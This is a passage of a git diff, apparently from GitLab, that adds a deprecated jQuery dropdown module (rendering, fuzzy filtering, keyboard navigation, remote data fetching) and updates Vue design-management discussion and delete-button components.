+ keys: searchFields,
+ instance: this,
+ elements: () => {
+ selector = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES})`;
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ selector = `.dropdown-page-one ${selector}`;
+ }
+ return $(selector, this.dropdown);
+ },
+ data: () => this.fullData,
+ callback: data => {
+ this.parseData(data);
+ if (this.filterInput.val() !== '') {
+ selector = SELECTABLE_CLASSES;
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ selector = `.dropdown-page-one ${selector}`;
+ }
+ if ($(this.el).is('input')) {
+ currentIndex = -1;
+ } else {
+ $(selector, this.dropdown)
+ .first()
+ .find('a')
+ .addClass('is-focused');
+ currentIndex = 0;
+ }
+ }
+ },
+ });
+ }
+ // Event listeners
+ this.dropdown.on('shown.bs.dropdown', this.opened);
+ this.dropdown.on('hidden.bs.dropdown', this.hidden);
+ $(this.el).on('update.label', this.updateLabel);
+ this.dropdown.on('click', '.dropdown-menu, .dropdown-menu-close', this.shouldPropagate);
+ this.dropdown.on('keyup', e => {
+ // Escape key
+ if (e.which === 27) {
+ return $('.dropdown-menu-close', this.dropdown).trigger('click');
+ }
+ });
+ this.dropdown.on('blur', 'a', e => {
+ let $dropdownMenu;
+ let $relatedTarget;
+ if (e.relatedTarget != null) {
+ $relatedTarget = $(e.relatedTarget);
+ $dropdownMenu = $relatedTarget.closest('.dropdown-menu');
+ if ($dropdownMenu.length === 0) {
+ return this.dropdown.removeClass('show');
+ }
+ }
+ });
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ this.dropdown.find('.dropdown-toggle-page, .dropdown-menu-back').on('click', e => {
+ e.preventDefault();
+ e.stopPropagation();
+ return this.togglePage();
+ });
+ }
+ if (this.options.selectable) {
+ selector = '.dropdown-content a';
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ selector = '.dropdown-page-one .dropdown-content a';
+ }
+ this.dropdown.on('click', selector, e => {
+ const $el = $(e.currentTarget);
+ const selected = self.rowClicked($el);
+ const selectedObj = selected ? selected[0] : null;
+ const isMarking = selected ? selected[1] : null;
+ if (this.options.clicked) {
+ this.options.clicked.call(this, {
+ selectedObj,
+ $el,
+ e,
+ isMarking,
+ });
+ }
+
+ // Update label right after all modifications in dropdown has been done
+ if (this.options.toggleLabel) {
+ this.updateLabel(selectedObj, $el, this);
+ }
+
+ $el.trigger('blur');
+ });
+ }
+ }
+
+ // Finds an element inside wrapper element
+ getElement(selector) {
+ return this.dropdown.find(selector);
+ }
+
+ toggleLoading() {
+ return $('.dropdown-menu', this.dropdown).toggleClass(LOADING_CLASS);
+ }
+
+ togglePage() {
+ const menu = $('.dropdown-menu', this.dropdown);
+ if (menu.hasClass(PAGE_TWO_CLASS)) {
+ if (this.remote) {
+ this.remote.execute();
+ }
+ }
+ menu.toggleClass(PAGE_TWO_CLASS);
+ // Focus first visible input on active page
+ return this.dropdown.find('[class^="dropdown-page-"]:visible :text:visible:first').focus();
+ }
+
+ parseData(data) {
+ let groupData;
+ let html;
+ this.renderedData = data;
+ if (this.options.filterable && data.length === 0) {
+ // render no matching results
+ html = [this.noResults()];
+ }
+ // Handle array groups
+ else if (isObject(data)) {
+ html = [];
+
+ Object.keys(data).forEach(name => {
+ groupData = data[name];
+ html.push(
+ this.renderItem(
+ {
+ content: name,
+ type: 'header',
+ },
+ name,
+ ),
+ );
+ this.renderData(groupData, name).map(item => html.push(item));
+ });
+ } else {
+ // Render each row
+ html = this.renderData(data);
+ }
+ // Render the full menu
+ const fullHtml = this.renderMenu(html);
+ return this.appendMenu(fullHtml);
+ }
+
+ renderData(data, group) {
+ return data.map((obj, index) => this.renderItem(obj, group || false, index));
+ }
+
+ shouldPropagate(e) {
+ let $target;
+ if (this.options.multiSelect || this.options.shouldPropagate === false) {
+ $target = $(e.target);
+ if (
+ $target &&
+ !$target.hasClass('dropdown-menu-close') &&
+ !$target.hasClass('dropdown-menu-close-icon') &&
+ !$target.data('isLink')
+ ) {
+ e.stopPropagation();
+
+ // This prevents automatic scrolling to the top
+ if ($target.closest('a').length) {
+ return false;
+ }
+ }
+
+ return true;
+ }
+ }
+
+ filteredFullData() {
+ return this.fullData.filter(
+ r =>
+ typeof r === 'object' &&
+ !Object.prototype.hasOwnProperty.call(r, 'beforeDivider') &&
+ !Object.prototype.hasOwnProperty.call(r, 'header'),
+ );
+ }
+
+ opened(e) {
+ this.resetRows();
+ this.addArrowKeyEvent();
+
+ const dropdownToggle = this.dropdown.find('.dropdown-menu-toggle');
+ const hasFilterBulkUpdate = dropdownToggle.hasClass('js-filter-bulk-update');
+ const shouldRefreshOnOpen = dropdownToggle.hasClass('js-gl-dropdown-refresh-on-open');
+ const hasMultiSelect = dropdownToggle.hasClass('js-multiselect');
+
+ // Makes indeterminate items effective
+ if (this.fullData && (shouldRefreshOnOpen || hasFilterBulkUpdate)) {
+ this.parseData(this.fullData);
+ }
+
+ // Process the data to make sure rendered data
+ // matches the correct layout
+ const inputValue = this.filterInput.val();
+ if (this.fullData && hasMultiSelect && this.options.processData && inputValue.length === 0) {
+ this.options.processData.call(
+ this.options,
+ inputValue,
+ this.filteredFullData(),
+ this.parseData.bind(this),
+ );
+ }
+
+ const contentHtml = $('.dropdown-content', this.dropdown).html();
+ if (this.remote && contentHtml === '') {
+ this.remote.execute();
+ } else {
+ this.focusTextInput();
+ }
+
+ if (this.options.showMenuAbove) {
+ this.positionMenuAbove();
+ }
+
+ if (this.options.opened) {
+ if (this.options.preserveContext) {
+ this.options.opened(e);
+ } else {
+ this.options.opened.call(this, e);
+ }
+ }
+
+ return this.dropdown.trigger('shown.gl.dropdown');
+ }
+
+ positionMenuAbove() {
+ const $menu = this.dropdown.find('.dropdown-menu');
+
+ $menu.addClass('dropdown-open-top');
+ $menu.css('top', 'initial');
+ $menu.css('bottom', '100%');
+ }
+
+ hidden(e) {
+ this.resetRows();
+ this.removeArrowKeyEvent();
+ const $input = this.dropdown.find('.dropdown-input-field');
+ if (this.options.filterable) {
+ $input.blur();
+ }
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ $('.dropdown-menu', this.dropdown).removeClass(PAGE_TWO_CLASS);
+ }
+ if (this.options.hidden) {
+ this.options.hidden.call(this, e);
+ }
+ return this.dropdown.trigger('hidden.gl.dropdown');
+ }
+
+ // Render the full menu
+ renderMenu(html) {
+ if (this.options.renderMenu) {
+ return this.options.renderMenu(html);
+ }
+ return $('<ul>').append(html);
+ }
+
+ // Append the menu into the dropdown
+ appendMenu(html) {
+ return this.clearMenu().append(html);
+ }
+
+ clearMenu() {
+ let selector = '.dropdown-content';
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ if (this.options.containerSelector) {
+ selector = this.options.containerSelector;
+ } else {
+ selector = '.dropdown-page-one .dropdown-content';
+ }
+ }
+
+ return $(selector, this.dropdown).empty();
+ }
+
+ renderItem(data, group, index) {
+ let parent;
+
+ if (this.dropdown && this.dropdown[0]) {
+ parent = this.dropdown[0].parentNode;
+ }
+
+ return renderItem({
+ instance: this,
+ options: {
+ ...this.options,
+ icon: this.icon,
+ highlight: this.highlight,
+ highlightText: text => this.highlightTextMatches(text, this.filterInput.val()),
+ highlightTemplate: this.highlightTemplate.bind(this),
+ parent,
+ },
+ data,
+ group,
+ index,
+ });
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ highlightTemplate(text, template) {
+ return `"<b>${escape(text)}</b>" ${template}`;
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ highlightTextMatches(text, term) {
+ const occurrences = fuzzaldrinPlus.match(text, term);
+ const { indexOf } = [];
+
+ return text
+ .split('')
+ .map((character, i) => {
+ if (indexOf.call(occurrences, i) !== -1) {
+ return `<b>${character}</b>`;
+ }
+ return character;
+ })
+ .join('');
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ noResults() {
+ return '<li class="dropdown-menu-empty-item"><a>No matching results</a></li>';
+ }
+
+ rowClicked(el) {
+ let field;
+ let groupName;
+ let selectedIndex;
+ let selectedObject;
+ let isMarking;
+ const { fieldName } = this.options;
+ const isInput = $(this.el).is('input');
+ if (this.renderedData) {
+ groupName = el.data('group');
+ if (groupName) {
+ selectedIndex = el.data('index');
+ selectedObject = this.renderedData[groupName][selectedIndex];
+ } else {
+ selectedIndex = el.closest('li').index();
+ this.selectedIndex = selectedIndex;
+ selectedObject = this.renderedData[selectedIndex];
+ }
+ }
+
+ if (this.options.vue) {
+ if (el.hasClass(ACTIVE_CLASS)) {
+ el.removeClass(ACTIVE_CLASS);
+ } else {
+ el.addClass(ACTIVE_CLASS);
+ }
+
+ return [selectedObject];
+ }
+
+ field = [];
+ const value = this.options.id ? this.options.id(selectedObject, el) : selectedObject.id;
+ if (isInput) {
+ field = $(this.el);
+ } else if (value != null) {
+ field = this.dropdown
+ .parent()
+ .find(`input[name='${fieldName}'][value='${value.toString().replace(/'/g, "\\'")}']`);
+ }
+
+ if (this.options.isSelectable && !this.options.isSelectable(selectedObject, el)) {
+ return [selectedObject];
+ }
+
+ if (el.hasClass(ACTIVE_CLASS) && value !== 0) {
+ isMarking = false;
+ el.removeClass(ACTIVE_CLASS);
+ if (field && field.length) {
+ this.clearField(field, isInput);
+ }
+ } else if (el.hasClass(INDETERMINATE_CLASS)) {
+ isMarking = true;
+ el.addClass(ACTIVE_CLASS);
+ el.removeClass(INDETERMINATE_CLASS);
+ if (field && field.length && value == null) {
+ this.clearField(field, isInput);
+ }
+ if ((!field || !field.length) && fieldName) {
+ this.addInput(fieldName, value, selectedObject);
+ }
+ } else {
+ isMarking = true;
+ if (!this.options.multiSelect || el.hasClass('dropdown-clear-active')) {
+ this.dropdown.find(`.${ACTIVE_CLASS}`).removeClass(ACTIVE_CLASS);
+ if (!isInput) {
+ this.dropdown
+ .parent()
+ .find(`input[name='${fieldName}']`)
+ .remove();
+ }
+ }
+ if (field && field.length && value == null) {
+ this.clearField(field, isInput);
+ }
+ // Toggle active class for the tick mark
+ el.addClass(ACTIVE_CLASS);
+ if (value != null) {
+ if ((!field || !field.length) && fieldName) {
+ this.addInput(fieldName, value, selectedObject);
+ } else if (field && field.length) {
+ field.val(value).trigger('change');
+ }
+ }
+ }
+
+ return [selectedObject, isMarking];
+ }
+
+ focusTextInput() {
+ if (this.options.filterable) {
+ const initialScrollTop = $(window).scrollTop();
+
+ if (this.dropdown.is('.show') && !this.filterInput.is(':focus')) {
+ this.filterInput.focus();
+ }
+
+ if ($(window).scrollTop() < initialScrollTop) {
+ $(window).scrollTop(initialScrollTop);
+ }
+ }
+ }
+
+ addInput(fieldName, value, selectedObject, single) {
+ // Create hidden input for form
+ if (single) {
+ $(`input[name="${fieldName}"]`).remove();
+ }
+
+ const $input = $('<input>')
+ .attr('type', 'hidden')
+ .attr('name', fieldName)
+ .val(value);
+ if (this.options.inputId != null) {
+ $input.attr('id', this.options.inputId);
+ }
+
+ if (this.options.multiSelect) {
+ Object.keys(selectedObject).forEach(attribute => {
+ $input.attr(`data-${attribute}`, selectedObject[attribute]);
+ });
+ }
+
+ if (this.options.inputMeta) {
+ $input.attr('data-meta', selectedObject[this.options.inputMeta]);
+ }
+
+ this.dropdown.before($input).trigger('change');
+ }
+
+ selectRowAtIndex(index) {
+ // If we pass an option index
+ let selector;
+ if (typeof index !== 'undefined') {
+ selector = `${SELECTABLE_CLASSES}:eq(${index}) a`;
+ } else {
+ selector = '.dropdown-content .is-focused';
+ }
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ selector = `.dropdown-page-one ${selector}`;
+ }
+ // simulate a click on the first link
+ const $el = $(selector, this.dropdown);
+ if ($el.length) {
+ const href = $el.attr('href');
+ if (href && href !== '#') {
+ visitUrl(href);
+ } else {
+ $el.trigger('click');
+ }
+ }
+ }
+
+ addArrowKeyEvent() {
+ const ARROW_KEY_CODES = [38, 40];
+ let selector = SELECTABLE_CLASSES;
+ if (this.dropdown.find('.dropdown-toggle-page').length) {
+ selector = `.dropdown-page-one ${selector}`;
+ }
+ return $('body').on('keydown', e => {
+ let $listItems;
+ let PREV_INDEX;
+ const currentKeyCode = e.which;
+ if (ARROW_KEY_CODES.indexOf(currentKeyCode) !== -1) {
+ e.preventDefault();
+ e.stopImmediatePropagation();
+ PREV_INDEX = currentIndex;
+ $listItems = $(selector, this.dropdown);
+ // if @options.filterable
+ // $input.blur()
+ if (currentKeyCode === 40) {
+ // Move down
+ if (currentIndex < $listItems.length - 1) {
+ currentIndex += 1;
+ }
+ } else if (currentKeyCode === 38) {
+ // Move up
+ if (currentIndex > 0) {
+ currentIndex -= 1;
+ }
+ }
+ if (currentIndex !== PREV_INDEX) {
+ this.highlightRowAtIndex($listItems, currentIndex);
+ }
+ return false;
+ }
+ if (currentKeyCode === 13 && currentIndex !== -1) {
+ e.preventDefault();
+ this.selectRowAtIndex();
+ }
+ });
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ removeArrowKeyEvent() {
+ return $('body').off('keydown');
+ }
+
+ resetRows() {
+ currentIndex = -1;
+ $('.is-focused', this.dropdown).removeClass('is-focused');
+ }
+
+ highlightRowAtIndex($listItems, index) {
+ if (!$listItems) {
+ // eslint-disable-next-line no-param-reassign
+ $listItems = $(SELECTABLE_CLASSES, this.dropdown);
+ }
+
+ // Remove the class for the previously focused row
+ $('.is-focused', this.dropdown).removeClass('is-focused');
+ // Update the class for the row at the specific index
+ const $listItem = $listItems.eq(index);
+ $listItem.find('a:first-child').addClass('is-focused');
+ // Dropdown content scroll area
+ const $dropdownContent = $listItem.closest('.dropdown-content');
+ const dropdownScrollTop = $dropdownContent.scrollTop();
+ const dropdownContentHeight = $dropdownContent.outerHeight();
+ const dropdownContentTop = $dropdownContent.prop('offsetTop');
+ const dropdownContentBottom = dropdownContentTop + dropdownContentHeight;
+ // Get the offset bottom of the list item
+ const listItemHeight = $listItem.outerHeight();
+ const listItemTop = $listItem.prop('offsetTop');
+ const listItemBottom = listItemTop + listItemHeight;
+ if (!index) {
+ // Scroll the dropdown content to the top
+ $dropdownContent.scrollTop(0);
+ } else if (index === $listItems.length - 1) {
+ // Scroll the dropdown content to the bottom
+ $dropdownContent.scrollTop($dropdownContent.prop('scrollHeight'));
+ } else if (listItemBottom > dropdownContentBottom + dropdownScrollTop) {
+ // Scroll the dropdown content down
+ $dropdownContent.scrollTop(
+ listItemBottom - dropdownContentBottom + CURSOR_SELECT_SCROLL_PADDING,
+ );
+ } else if (listItemTop < dropdownContentTop + dropdownScrollTop) {
+ // Scroll the dropdown content up
+ return $dropdownContent.scrollTop(
+ listItemTop - dropdownContentTop - CURSOR_SELECT_SCROLL_PADDING,
+ );
+ }
+ }
+
+ updateLabel(selected = null, el = null, instance = null) {
+ let toggleText = this.options.toggleLabel(selected, el, instance);
+ if (this.options.updateLabel) {
+ // Option to override the dropdown label text
+ toggleText = this.options.updateLabel;
+ }
+
+ return $(this.el)
+ .find('.dropdown-toggle-text')
+ .text(toggleText);
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ clearField(field, isInput) {
+ return isInput ? field.val('') : field.remove();
+ }
+}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js
new file mode 100644
index 00000000000..89ffb5f5f79
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js
@@ -0,0 +1,135 @@
+/* eslint-disable consistent-return */
+
+import $ from 'jquery';
+import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { isObject } from '~/lib/utils/type_utility';
+
+const BLUR_KEYCODES = [27, 40];
+
+const HAS_VALUE_CLASS = 'has-value';
+
+export class GitLabDropdownFilter {
+ constructor(input, options) {
+ let ref;
+ let timeout;
+ this.input = input;
+ this.options = options;
+ // eslint-disable-next-line no-cond-assign
+ this.filterInputBlur = (ref = this.options.filterInputBlur) != null ? ref : true;
+ const $inputContainer = this.input.parent();
+ const $clearButton = $inputContainer.find('.js-dropdown-input-clear');
+ $clearButton.on('click', e => {
+ // Clear click
+ e.preventDefault();
+ e.stopPropagation();
+ return this.input
+ .val('')
+ .trigger('input')
+ .focus();
+ });
+ // Key events
+ timeout = '';
+ this.input
+ .on('keydown', e => {
+ const keyCode = e.which;
+ if (keyCode === 13 && !options.elIsInput) {
+ e.preventDefault();
+ }
+ })
+ .on('input', () => {
+ if (this.input.val() !== '' && !$inputContainer.hasClass(HAS_VALUE_CLASS)) {
+ $inputContainer.addClass(HAS_VALUE_CLASS);
+ } else if (this.input.val() === '' && $inputContainer.hasClass(HAS_VALUE_CLASS)) {
+ $inputContainer.removeClass(HAS_VALUE_CLASS);
+ }
+ // Only filter asynchronously only if option remote is set
+ if (this.options.remote) {
+ clearTimeout(timeout);
+ // eslint-disable-next-line no-return-assign
+ return (timeout = setTimeout(() => {
+ $inputContainer.parent().addClass('is-loading');
+
+ return this.options.query(this.input.val(), data => {
+ $inputContainer.parent().removeClass('is-loading');
+ return this.options.callback(data);
+ });
+ }, 250));
+ }
+ return this.filter(this.input.val());
+ });
+ }
+
+ static shouldBlur(keyCode) {
+ return BLUR_KEYCODES.indexOf(keyCode) !== -1;
+ }
+
+ filter(searchText) {
+ let group;
+ let results;
+ let tmp;
+ if (this.options.onFilter) {
+ this.options.onFilter(searchText);
+ }
+ const data = this.options.data();
+ if (data != null && !this.options.filterByText) {
+ results = data;
+ if (searchText !== '') {
+ // When data is an array of objects therefore [object Array] e.g.
+ // [
+ // { prop: 'foo' },
+ // { prop: 'baz' }
+ // ]
+ if (Array.isArray(data)) {
+ results = fuzzaldrinPlus.filter(data, searchText, {
+ key: this.options.keys,
+ });
+ }
+ // If data is grouped therefore an [object Object]. e.g.
+ // {
+ // groupName1: [
+ // { prop: 'foo' },
+ // { prop: 'baz' }
+ // ],
+ // groupName2: [
+ // { prop: 'abc' },
+ // { prop: 'def' }
+ // ]
+ // }
+ else if (isObject(data)) {
+ results = {};
+ Object.keys(data).forEach(key => {
+ group = data[key];
+ tmp = fuzzaldrinPlus.filter(group, searchText, {
+ key: this.options.keys,
+ });
+ if (tmp.length) {
+ results[key] = tmp.map(item => item);
+ }
+ });
+ }
+ }
+ return this.options.callback(results);
+ }
+ const elements = this.options.elements();
+ if (searchText) {
+ // eslint-disable-next-line func-names
+ elements.each(function() {
+ const $el = $(this);
+ const matches = fuzzaldrinPlus.match($el.text().trim(), searchText);
+ if (!$el.is('.dropdown-header')) {
+ if (matches.length) {
+ return $el.show().removeClass('option-hidden');
+ }
+ return $el.hide().addClass('option-hidden');
+ }
+ });
+ } else {
+ elements.show().removeClass('option-hidden');
+ }
+
+ elements
+ .parent()
+ .find('.dropdown-menu-empty-item')
+ .toggleClass('hidden', elements.is(':visible'));
+ }
+}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_input.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_input.js
new file mode 100644
index 00000000000..d857071d05f
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_input.js
@@ -0,0 +1,44 @@
+export class GitLabDropdownInput {
+ constructor(input, options) {
+ this.input = input;
+ this.options = options;
+ this.fieldName = this.options.fieldName || 'field-name';
+ const $inputContainer = this.input.parent();
+ const $clearButton = $inputContainer.find('.js-dropdown-input-clear');
+ $clearButton.on('click', e => {
+ // Clear click
+ e.preventDefault();
+ e.stopPropagation();
+ return this.input
+ .val('')
+ .trigger('input')
+ .focus();
+ });
+
+ this.input
+ .on('keydown', e => {
+ const keyCode = e.which;
+ if (keyCode === 13 && !options.elIsInput) {
+ e.preventDefault();
+ }
+ })
+ .on('input', e => {
+ let val = e.currentTarget.value || this.options.inputFieldName;
+ val = val
+ .split(' ')
+ .join('-') // replaces space with dash
+ .replace(/[^a-zA-Z0-9 -]/g, '')
+ .toLowerCase() // replace non alphanumeric
+ .replace(/(-)\1+/g, '-'); // replace repeated dashes
+ this.cb(this.options.fieldName, val, {}, true);
+ this.input
+ .closest('.dropdown')
+ .find('.dropdown-toggle-text')
+ .text(val);
+ });
+ }
+
+ onInput(cb) {
+ this.cb = cb;
+ }
+}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_remote.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_remote.js
new file mode 100644
index 00000000000..1f6a2e1f646
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_remote.js
@@ -0,0 +1,42 @@
+/* eslint-disable consistent-return */
+
+import axios from '../lib/utils/axios_utils';
+
+export class GitLabDropdownRemote {
+ constructor(dataEndpoint, options) {
+ this.dataEndpoint = dataEndpoint;
+ this.options = options;
+ }
+
+ execute() {
+ if (typeof this.dataEndpoint === 'string') {
+ return this.fetchData();
+ } else if (typeof this.dataEndpoint === 'function') {
+ if (this.options.beforeSend) {
+ this.options.beforeSend();
+ }
+ return this.dataEndpoint('', data => {
+ // Fetch the data by calling the data function
+ if (this.options.success) {
+ this.options.success(data);
+ }
+ if (this.options.beforeSend) {
+ return this.options.beforeSend();
+ }
+ });
+ }
+ }
+
+ fetchData() {
+ if (this.options.beforeSend) {
+ this.options.beforeSend();
+ }
+
+ // Fetch the data through ajax if the data is a string
+ return axios.get(this.dataEndpoint).then(({ data }) => {
+ if (this.options.success) {
+ return this.options.success(data);
+ }
+ });
+ }
+}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/index.js b/app/assets/javascripts/deprecated_jquery_dropdown/index.js
new file mode 100644
index 00000000000..90e7f15b5b7
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/index.js
@@ -0,0 +1,11 @@
+import $ from 'jquery';
+import { GitLabDropdown } from './gl_dropdown';
+
+export default function initDeprecatedJQueryDropdown($el, opts) {
+ // eslint-disable-next-line func-names
+ return $el.each(function() {
+ if (!$.data(this, 'deprecatedJQueryDropdown')) {
+ $.data(this, 'deprecatedJQueryDropdown', new GitLabDropdown(this, opts));
+ }
+ });
+}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/render.js b/app/assets/javascripts/deprecated_jquery_dropdown/render.js
new file mode 100644
index 00000000000..167bc4c286e
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/render.js
@@ -0,0 +1,166 @@
+import { slugify } from '~/lib/utils/text_utility';
+
+const renderersByType = {
+ divider(element) {
+ element.classList.add('divider');
+
+ return element;
+ },
+ separator(element) {
+ element.classList.add('separator');
+
+ return element;
+ },
+ header(element, data) {
+ element.classList.add('dropdown-header');
+ element.innerHTML = data.content;
+
+ return element;
+ },
+};
+
+function getPropertyWithDefault(data, options, property, defaultValue = '') {
+ let result;
+
+ if (options[property] != null) {
+ result = options[property](data);
+ } else {
+ result = data[property] != null ? data[property] : defaultValue;
+ }
+
+ return result;
+}
+
+function getHighlightTextBuilder(text, data, options) {
+ if (options.highlight) {
+ return data.template
+ ? options.highlightTemplate(text, data.template)
+ : options.highlightText(text);
+ }
+
+ return text;
+}
+
+function getIconTextBuilder(text, data, options) {
+ if (options.icon) {
+ const wrappedText = `<span>${text}</span>`;
+ return data.icon ? `${data.icon}${wrappedText}` : wrappedText;
+ }
+
+ return text;
+}
+
+function getLinkText(data, options) {
+ const text = getPropertyWithDefault(data, options, 'text');
+
+ return [getHighlightTextBuilder, getIconTextBuilder].reduce(
+ (acc, fn) => fn(acc, data, options),
+ text,
+ );
+}
+
+function escape(text) {
+ return text ? String(text).replace(/'/g, "\\'") : text;
+}
+
+function getOptionValue(data, options) {
+ if (options.renderRow) {
+ return undefined;
+ }
+
+ return escape(options.id ? options.id(data) : data.id);
+}
+
+function shouldHide(data, { options }) {
+ const value = getOptionValue(data, options);
+
+ return options.hideRow && options.hideRow(value);
+}
+
+function hideElement(element) {
+ element.style.display = 'none';
+
+ return element;
+}
+
+function checkSelected(data, options) {
+ const value = getOptionValue(data, options);
+
+ if (!options.parent) {
+ return !data.id;
+ } else if (value) {
+ return (
+ options.parent.querySelector(`input[name='${options.fieldName}'][value='${value}']`) != null
+ );
+ }
+
+ return options.parent.querySelector(`input[name='${options.fieldName}']`) == null;
+}
+
+function createLink(data, selected, options, index) {
+ const link = document.createElement('a');
+
+ link.href = getPropertyWithDefault(data, options, 'url', '#');
+
+ if (options.icon) {
+ link.classList.add('d-flex', 'align-items-center');
+ }
+
+ if (options.trackSuggestionClickedLabel) {
+ link.setAttribute('data-track-event', 'click_text');
+ link.setAttribute('data-track-label', options.trackSuggestionClickedLabel);
+ link.setAttribute('data-track-value', index);
+ link.setAttribute('data-track-property', slugify(data.category || 'no-category'));
+ }
+
+ link.classList.toggle('is-active', selected);
+
+ return link;
+}
+
+function assignTextToLink(el, data, options) {
+ const text = getLinkText(data, options);
+
+ if (options.icon || options.highlight) {
+ el.innerHTML = text;
+ } else {
+ el.textContent = text;
+ }
+
+ return el;
+}
+
+function renderLink(row, data, { options, group, index }) {
+ const selected = checkSelected(data, options);
+ const link = createLink(data, selected, options, index);
+
+ assignTextToLink(link, data, options);
+
+ if (group) {
+ link.dataset.group = group;
+ link.dataset.index = index;
+ }
+
+ row.appendChild(link);
+
+ return row;
+}
+
+function getOptionRenderer({ options, instance }) {
+ return options.renderRow && ((li, data) => options.renderRow(data, instance));
+}
+
+function getRenderer(data, params) {
+ return renderersByType[data.type] || getOptionRenderer(params) || renderLink;
+}
+
+export default function item({ data, ...params }) {
+ const renderer = getRenderer(data, params);
+ const li = document.createElement('li');
+
+ if (shouldHide(data, params)) {
+ hideElement(li);
+ }
+
+ return renderer(li, data, params);
+}
diff --git a/app/assets/javascripts/design_management/components/delete_button.vue b/app/assets/javascripts/design_management/components/delete_button.vue
index 37686dd5a46..970197ef41b 100644
--- a/app/assets/javascripts/design_management/components/delete_button.vue
+++ b/app/assets/javascripts/design_management/components/delete_button.vue
@@ -98,6 +98,7 @@ export default {
:loading="loading"
:icon="buttonIcon"
:disabled="isDeleting || !hasSelectedDesigns"
- />
+ ><slot></slot
+ ></gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
index 6a20517eed7..845f1aec8cf 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
@@ -1,19 +1,20 @@
<script>
import { ApolloMutation } from 'vue-apollo';
-import { GlTooltipDirective, GlIcon, GlLoadingIcon, GlLink } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon, GlLoadingIcon, GlLink, GlBadge } from '@gitlab/ui';
import { s__ } from '~/locale';
+import createFlash from '~/flash';
import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import allVersionsMixin from '../../mixins/all_versions';
import createNoteMutation from '../../graphql/mutations/create_note.mutation.graphql';
import toggleResolveDiscussionMutation from '../../graphql/mutations/toggle_resolve_discussion.mutation.graphql';
-import getDesignQuery from '../../graphql/queries/get_design.query.graphql';
import activeDiscussionQuery from '../../graphql/queries/active_discussion.query.graphql';
import DesignNote from './design_note.vue';
import DesignReplyForm from './design_reply_form.vue';
-import { updateStoreAfterAddDiscussionComment } from '../../utils/cache_update';
import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../../constants';
import ToggleRepliesWidget from './toggle_replies_widget.vue';
+import { hasErrors } from '../../utils/cache_update';
+import { ADD_DISCUSSION_COMMENT_ERROR } from '../../utils/error_messages';
export default {
components: {
@@ -26,6 +27,7 @@ export default {
GlLink,
ToggleRepliesWidget,
TimeAgoTooltip,
+ GlBadge,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -62,22 +64,20 @@ export default {
activeDiscussion: {
query: activeDiscussionQuery,
result({ data }) {
- const discussionId = data.activeDiscussion.id;
if (this.discussion.resolved && !this.resolvedDiscussionsExpanded) {
return;
}
- // We watch any changes to the active discussion from the design pins and scroll to this discussion if it exists
- // We don't want scrollIntoView to be triggered from the discussion click itself
- if (
- discussionId &&
- data.activeDiscussion.source === ACTIVE_DISCUSSION_SOURCE_TYPES.pin &&
- discussionId === this.discussion.notes[0].id
- ) {
- this.$el.scrollIntoView({
- behavior: 'smooth',
- inline: 'start',
- });
- }
+
+ this.$nextTick(() => {
+ // We watch any changes to the active discussion from the design pins and scroll to this discussion if it exists.
+ // We don't want scrollIntoView to be triggered from the discussion click itself.
+ if (this.$el && this.shouldScrollToDiscussion(data.activeDiscussion)) {
+ this.$el.scrollIntoView({
+ behavior: 'smooth',
+ inline: 'start',
+ });
+ }
+ });
},
},
},
@@ -107,8 +107,8 @@ export default {
atVersion: this.designsVersion,
};
},
- isDiscussionHighlighted() {
- return this.discussion.notes[0].id === this.activeDiscussion.id;
+ isDiscussionActive() {
+ return this.discussion.notes.some(({ id }) => id === this.activeDiscussion.id);
},
resolveCheckboxText() {
return this.discussion.resolved
@@ -138,21 +138,10 @@ export default {
},
},
methods: {
- addDiscussionComment(
- store,
- {
- data: { createNote },
- },
- ) {
- updateStoreAfterAddDiscussionComment(
- store,
- createNote,
- getDesignQuery,
- this.designVariables,
- this.discussion.id,
- );
- },
- onDone() {
+ onDone({ data: { createNote } }) {
+ if (hasErrors(createNote)) {
+ createFlash({ message: ADD_DISCUSSION_COMMENT_ERROR });
+ }
this.discussionComment = '';
this.hideForm();
if (this.shouldChangeResolvedStatus) {
@@ -160,14 +149,14 @@ export default {
}
},
onCreateNoteError(err) {
- this.$emit('createNoteError', err);
+ this.$emit('create-note-error', err);
},
hideForm() {
this.isFormRendered = false;
this.discussionComment = '';
},
showForm() {
- this.$emit('openForm', this.discussion.id);
